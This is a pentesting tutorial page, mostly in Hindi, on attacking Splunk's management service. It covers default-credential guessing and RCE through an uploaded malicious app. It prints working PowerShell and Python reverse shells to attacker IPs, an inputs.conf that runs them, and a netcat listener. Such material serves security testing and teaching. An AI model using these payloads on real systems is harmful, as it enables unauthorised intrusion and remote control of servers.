8089 - Pentesting Splunkd

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

बुनियादी जानकारी

Splunk एक लॉग एनालिटिक्स टूल है जो डेटा को इकट्ठा करने, विश्लेषण करने और दृश्य बनाने में महत्वपूर्ण भूमिका निभाता है। जबकि इसका प्रारंभिक उद्देश्य SIEM (सिक्योरिटी इंफॉर्मेशन एंड इवेंट मैनेजमेंट) टूल के रूप में कार्य करना नहीं था, यह सुरक्षा निगरानी और व्यापार विश्लेषण के क्षेत्र में लोकप्रियता प्राप्त कर चुका है।

Splunk तैनाती अक्सर संवेदनशील डेटा को संग्रहीत करने के लिए उपयोग की जाती हैं और यदि वे सिस्टम को समझौता करने में सफल होते हैं तो यह संभावित हमलावरों के लिए जानकारी का एक मूल्यवान स्रोत बन सकती हैं। डिफ़ॉल्ट पोर्ट: 8089

PORT     STATE SERVICE VERSION
8089/tcp open  http    Splunkd httpd

Splunk वेब सर्वर डिफ़ॉल्ट रूप से पोर्ट 8000 पर चलता है

Enumeration

Free Version

Splunk Enterprise परीक्षण 60 दिनों के बाद एक मुफ्त संस्करण में परिवर्तित हो जाता है, जो प्रमाणीकरण की आवश्यकता नहीं है। सिस्टम प्रशासकों के लिए Splunk का परीक्षण करने के लिए एक परीक्षण स्थापित करना आम बात है, जिसे बाद में भुला दिया जाता है। यह स्वचालित रूप से मुफ्त संस्करण में परिवर्तित हो जाएगा जिसमें किसी भी प्रकार का प्रमाणीकरण नहीं है, जो वातावरण में एक सुरक्षा छिद्र पेश करता है। कुछ संगठन बजट की सीमाओं के कारण मुफ्त संस्करण का विकल्प चुन सकते हैं, बिना यह पूरी तरह से समझे कि उपयोगकर्ता/भूमिका प्रबंधन का न होना क्या प्रभाव डालता है।

Default Credentials

पुराने संस्करणों में Splunk, डिफ़ॉल्ट क्रेडेंशियल्स admin:changeme होते हैं, जो लॉगिन पृष्ठ पर सुविधाजनक रूप से प्रदर्शित होते हैं। हालांकि, Splunk का नवीनतम संस्करण स्थापना प्रक्रिया के दौरान क्रेडेंशियल्स सेट करता है। यदि डिफ़ॉल्ट क्रेडेंशियल्स काम नहीं करते हैं, तो सामान्य कमजोर पासवर्ड जैसे admin, Welcome, Welcome1, Password123, आदि की जांच करना उचित है।

Obtain Information

एक बार Splunk में लॉग इन करने के बाद, हम डेटा ब्राउज़ कर सकते हैं, रिपोर्ट चला सकते हैं, डैशबोर्ड बना सकते हैं, Splunkbase पुस्तकालय से ऐप्लिकेशन स्थापित कर सकते हैं, और कस्टम ऐप्लिकेशन स्थापित कर सकते हैं। आप कोड भी चला सकते हैं: Splunk में कोड चलाने के कई तरीके हैं, जैसे सर्वर-साइड Django एप्लिकेशन, REST एंडपॉइंट, स्क्रिप्टेड इनपुट, और अलर्टिंग स्क्रिप्ट। Splunk सर्वर पर रिमोट कोड निष्पादन प्राप्त करने का एक सामान्य तरीका स्क्रिप्टेड इनपुट का उपयोग करना है।

इसके अलावा, चूंकि Splunk को Windows या Linux होस्ट पर स्थापित किया जा सकता है, स्क्रिप्टेड इनपुट बनाए जा सकते हैं जो Bash, PowerShell, या Batch स्क्रिप्ट चलाते हैं।

Shodan

  • Splunk build

RCE

Create Custom Application

एक कस्टम एप्लिकेशन Python, Batch, Bash, या PowerShell स्क्रिप्ट चला सकता है। ध्यान दें कि Splunk के साथ Python स्थापित है, इसलिए Windows सिस्टम में भी आप Python कोड चला सकेंगे।

आप हमारी सहायता के लिए इस Splunk पैकेज का उपयोग कर सकते हैं। इस रिपॉजिटरी में bin निर्देशिका में Python और PowerShell के उदाहरण हैं। चलिए इसे चरण-दर-चरण देखते हैं।

इसके लिए, हमें पहले निम्नलिखित निर्देशिका संरचना का उपयोग करके एक कस्टम Splunk एप्लिकेशन बनाना होगा:

tree splunk_shell/

splunk_shell/
├── bin
└── default

The bin directory में कोई भी स्क्रिप्ट्स होंगी जिन्हें हम चलाना चाहते हैं (इस मामले में, एक PowerShell रिवर्स शेल), और डिफ़ॉल्ट डायरेक्टरी में हमारा inputs.conf फ़ाइल होगा। हमारा रिवर्स शेल एक PowerShell एक-लाइनर होगा:

$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(

The inputs.conf फ़ाइल Splunk को कौन सा स्क्रिप्ट चलाना है और अन्य शर्तें बताती है। यहाँ हम ऐप को सक्षम के रूप में सेट करते हैं और Splunk को हर 10 सेकंड में स्क्रिप्ट चलाने के लिए कहते हैं। अंतराल हमेशा सेकंड में होता है, और इनपुट (स्क्रिप्ट) केवल तभी चलेगा जब यह सेटिंग मौजूद हो।

cat inputs.conf

[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell

[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10

हमें .bat फ़ाइल की आवश्यकता है, जो तब चलेगी जब एप्लिकेशन तैनात किया जाएगा और PowerShell एक-लाइनर को निष्पादित करेगी।

अगला कदम Install app from file चुनना है और एप्लिकेशन को अपलोड करना है।

दुष्ट कस्टम ऐप अपलोड करने से पहले, चलिए Netcat या socat का उपयोग करके एक श्रोता शुरू करते हैं।

sudo nc -lnvp 443

listening on [any] 443 ...

On the Upload app page, click on browse, choose the tarball we created earlier and click Upload. जैसे ही हम एप्लिकेशन को अपलोड करते हैं, एक reverse shell प्राप्त होता है क्योंकि एप्लिकेशन की स्थिति स्वचालित रूप से Enabled में बदल जाएगी।

Linux

यदि हम एक Linux host के साथ काम कर रहे होते, तो हमें rev.py Python script को संपादित करने की आवश्यकता होती, इससे पहले कि हम tarball बनाएं और कस्टम दुर्भावनापूर्ण ऐप को अपलोड करें। प्रक्रिया का बाकी हिस्सा वही रहेगा, और हमें अपने Netcat listener पर एक reverse shell कनेक्शन प्राप्त होगा और हम दौड़ में आगे बढ़ जाएंगे।

import sys,socket,os,pty

ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')

RCE & Privilege Escalation

इस पृष्ठ पर आप यह समझ सकते हैं कि इस सेवा का दुरुपयोग कैसे किया जा सकता है ताकि विशेषाधिकार बढ़ाए जा सकें और स्थिरता प्राप्त की जा सके:

Splunk LPE and Persistence

References

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated